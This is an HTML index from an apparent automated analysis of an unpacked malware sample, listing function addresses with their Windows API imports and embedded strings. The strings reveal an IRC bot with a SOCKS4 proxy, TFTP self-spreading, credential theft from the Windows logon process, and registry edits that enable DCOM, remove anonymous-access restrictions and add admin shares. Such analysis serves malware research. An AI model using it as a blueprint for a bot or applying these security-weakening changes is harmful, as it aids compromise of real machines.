</font></pre></td></tr><tr id="sub_414B07"><td><pre><a name="sub_414B07"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_414B07"><font size=+2>sub_414B07</a>(f519)</font>:<font color=darkgreen>
WS2_32.select
WS2_32.closesocket
WS2_32.recv
WS2_32.send
WS2_32.socket
WS2_32.WSAGetLastError
WS2_32.connect</font>
<font color=brown>
"[SOCKS4]: Authentication failed. Remote"...
"[SOCKS4]: Error: Failed to open socket("...
"[SOCKS4]: Error: Failed to connect to t"...
</font></pre></td></tr><tr id="sub_4193F0"><td><pre><a name="sub_4193F0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4193F0"><font size=+2>sub_4193F0</a>(f534)</font>:<font color=brown>
"string != NULL"
"vsprintf.c"
"format != NULL"
"vsprintf.c"
</font></pre></td></tr><tr id="sub_4057E1"><td><pre><a name="sub_4057E1"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4057E1"><font size=+2>sub_4057E1</a>(f5ac)</font>:<font color=brown>
"failed"
"[MAIN]: %s Drive (%s): Failed to stat, "...
"[MAIN]: %s Drive (%s): %s total, %s fre"...
</font></pre></td></tr><tr id="sub_413E55"><td><pre><a name="sub_413E55"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_413E55"><font size=+2>sub_413E55</a>(f615)</font>:<font color=darkgreen>
ADVAPI32.RegOpenKeyExA
ADVAPI32.RegSetValueExA
ADVAPI32.RegCloseKey
KERNEL32.GetDriveTypeA</font>
<font color=brown>
"Software\\Microsoft\\OLE"
"EnableDCOM"
"[SECURE]: Enable DCOM failed."
"[SECURE]: DCOM enabled."
"[SECURE]: Failed to open DCOM registry "...
"SYSTEM\\CurrentControlSet\\Control\\Lsa"
"restrictanonymous"
"[SECURE]: Failed to unrestrict access t"...
"[SECURE]: Unrestricted access to the IP"...
"[SECURE]: Failed to open IPC$ restricti"...
"[SECURE]: Advapi32.dll couldn't be load"...
"[SECURE]: Share '%s' added."
"[SECURE]: Failed to add '%s' share."
"%c$"
"%c:\\"
"[SECURE]: Share '%s' added."
"[SECURE]: Failed to add '%s' share."
"[SECURE]: Network shares added."
"[SECURE]: Netapi32.dll couldn't be load"...
</font></pre></td></tr><tr id="sub_415CF4"><td><pre><a name="sub_415CF4"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_415CF4"><font size=+2>sub_415CF4</a>(f729)</font>:<font color=darkgreen>
WS2_32.socket
WS2_32.WSAGetLastError
WS2_32.htons
WS2_32.bind
WS2_32.select
WS2_32.recvfrom
WS2_32.inet_ntoa
WS2_32.sendto
WS2_32.closesocket</font>
<font color=brown>
"octet"
"[TFTP]: Error: socket() failed, returne"...
"rb"
"[TFTP]: Failed to open file: %s."
"[TFTP]: File transfer started to IP: %s"...
"[TFTP]: File not found: %s (%s)."
"[TFTP]: File transfer complete to IP: %"...
</font></pre></td></tr><tr id="sub_412C88"><td><pre><a name="sub_412C88"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_412C88"><font size=+2>sub_412C88</a>(f806)</font>:<font color=darkgreen>
WS2_32.send</font>
<font color=brown>
"PRIVMSG %s :%s\r"
"%s"
</font></pre></td></tr><tr id="sub_406355"><td><pre><a name="sub_406355"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_406355"><font size=+2>sub_406355</a>(f82b)</font>:<font color=brown>
"[FINDPASS]: The Windows logon (Pid: <%d"...
"[FINDPASS]: The Windows logon (Pid: <%d"...
</font></pre></td></tr><tr id="sub_421D10"><td><pre><a name="sub_421D10"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_421D10"><font size=+2>sub_421D10</a>(f9ac)</font>:<font color=brown>
"stream.c"
</font></pre></td></tr><tr id="sub_41EA90"><td><pre><a name="sub_41EA90"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_41EA90"><font size=+2>sub_41EA90</a>(fa9d)</font>:<font color=brown>
"ch != _T('\\0')"
"output.c"
</font></pre></td></tr><tr id="sub_405E58"><td><pre><a name="sub_405E58"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_405E58"><font size=+2>sub_405E58</a>(fc23)</font>:<font color=brown>
"WINLOGON"
"NWGINA"
"MSGINA"
</font></pre></td></tr></table><script>
document.getElementById(window.location.href.split('#')[1]).setAttribute("style", "background-color:#ddddff");
</script>
</html> |